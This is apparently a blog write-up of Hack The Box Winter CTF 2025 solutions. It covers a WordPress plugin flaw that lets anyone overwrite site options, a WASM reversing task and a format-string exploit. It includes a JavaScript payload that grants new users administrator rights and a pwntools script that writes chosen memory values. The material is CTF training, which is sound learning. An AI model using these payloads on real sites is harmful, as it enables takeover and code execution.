Skip to main content

Command Palette

Search for a command to run...

Hack The Box - Winter CTF Tinsel Trouble 2025

Published
4 min read
Hack The Box - Winter CTF Tinsel Trouble 2025

This writeup consists of solutions to only web, pwn and reverse I solved .


Web 1:

Silent Snow :

The critical security flaw resides within the custom WordPress plugin source code at src/plugins/my-plugin/my-plugin.php.

// src/plugins/my-plugin/my-plugin.php
public function init(){
    if (isset($_GET['settings'])) {
        $this->admin_page(); // Called without checking is_user_logged_in()
    }
    // ...
}

public function admin_page(){
    if (isset($_POST['my_plugin_nonce']) && wp_verify_nonce($_POST['my_plugin_nonce'], 'my_plugin_settings')) {
        if (isset($_POST['my_plugin_action'])) {
            $mode = sanitize_text_field($_POST['mode']);
            update_option($_POST['my_plugin_action'], $mode); // Vulnerable: arbitrary option update
        }
    }
    // ...
}
  • Logic Bypass via init Hook: The plugin attaches its logic to the WordPress init hook. This is a global hook that fires on every single page load, regardless of whether a user is logged in or not. The code checks for the presence of a settings GET parameter and, if found, immediately invokes the admin_page() function. Crucially, this function call occurs before WordPress performs standard authentication checks or verifies user capabilities (such as is_user_logged_in()), effectively bypassing access controls.

  • Arbitrary Option Overwrite (The Sink): Once inside the admin_page() function, the code accepts the $_POST['my_plugin_action'] parameter and passes it directly as the key argument to the WordPress update_option() function.

    Failing to implement a whitelist of permitted settings, this creates an Arbitrary Option Update primitive. An attacker can supply any key found in the wp_options database table (e.g., default_role, siteurl, users_can_register) and overwrite its value with their own input, allowing for complete reconfiguration of the target site.


Solution :

The Attack Chain

  1. Reconnaissance: Identified the custom plugin exposing ?settings=1.

  2. Exploit Primitive (Option Overwrite):

    • Target: update_option($_POST['my_plugin_action'], $mode)

    • Payload: users_can_register=1 and default_role=administrator.

        // Automatically find nonce if on the page, otherwise paste it manually below
        var nonce = document.querySelector('input[name="my_plugin_nonce"]')?.value || "YOUR_NONCE_HERE";
      
        async function userswitch() {
            // 1. Enable User Registration
            await fetch('', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'my_plugin_action=users_can_register&mode=1&my_plugin_nonce=' + nonce
            });
            console.log('[+] Registration Enabled');
      
            // 2. Set Default Role to Administrator
            await fetch('', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'my_plugin_action=default_role&mode=administrator&my_plugin_nonce=' + nonce
            });
            console.log('[+] Default Role set to Administrator');
        }
      
        userswitch();
      
  3. Privilege Escalation:

    • Registered a new user.

    • The my_auto_login_new_user hook bypassed the need for email verification, granting an immediate session.

  4. RCE :

    • Used the built-in Theme Editor (accessible only to Admins) to overwrite functions.php.

    • Execute system commands to read the flag.


Reverse Engineering :

Reverse 1:

Clock Work Memory:

We are given a .wasm file , simply throw it to any decompiler.

We notice a check_flag function :

The function had a Hex which stores integer : 1262702420 and a HEX : 0x4B434F54

Deriving Little Endian in ASCII from this based on WASM , we get “TOCK”

We have a data Section :

Now using Cyber Chef we get the flag :


PWN:

Pwn 3:

Feel my terror:

We got the following files in zip:

Now to understand the environment :

$ file feel_my_terror
feel_my_terror: ELF 64-bit LSB executable, x86-64, not stripped

$ checksec feel_my_terror
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Since PIE is static we know that the variables remain constant .

Now in IDA :

main() has a lot of functions but the interesting seemed to be a check database function:

check_db seems to be comparing and storing addresses which we need to modify :

Now time to assign required values to arg1, arg2…arg5 by finding their address :

    0x40402c: 0xdeadbeef   # arg1
    0x404034: 0x1337c0de   # arg2
    0x40403c: 0xf337babe   # arg3
    0x404044: 0x1337f337   # arg4
    0x40404c: 0xfadeeeed    # arg5

Now time to write a pwntool script :

from pwn import *

context.binary = binary = ELF('./feel_my_terror')
context.log_level = 'debug'

HOST = '154.57.164.73'
PORT = 30904

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process(binary.path)

io = start()

writes = {
    0x40402c: 0xdeadbeef,
    0x404034: 0x1337c0de,
    0x40403c: 0xf337babe,
    0x404044: 0x1337f337,
    0x40404c: 0xfadeeeed
}

offset = 6
#I derived this after improvising script, offset is nowhere given you will have to determine it.
payload = fmtstr_payload(offset, writes, write_size='short', numbwritten=0)

io.recvuntil(b'gifts :)')
io.sendline(payload)

io.interactive()

This was a lot of fun to play.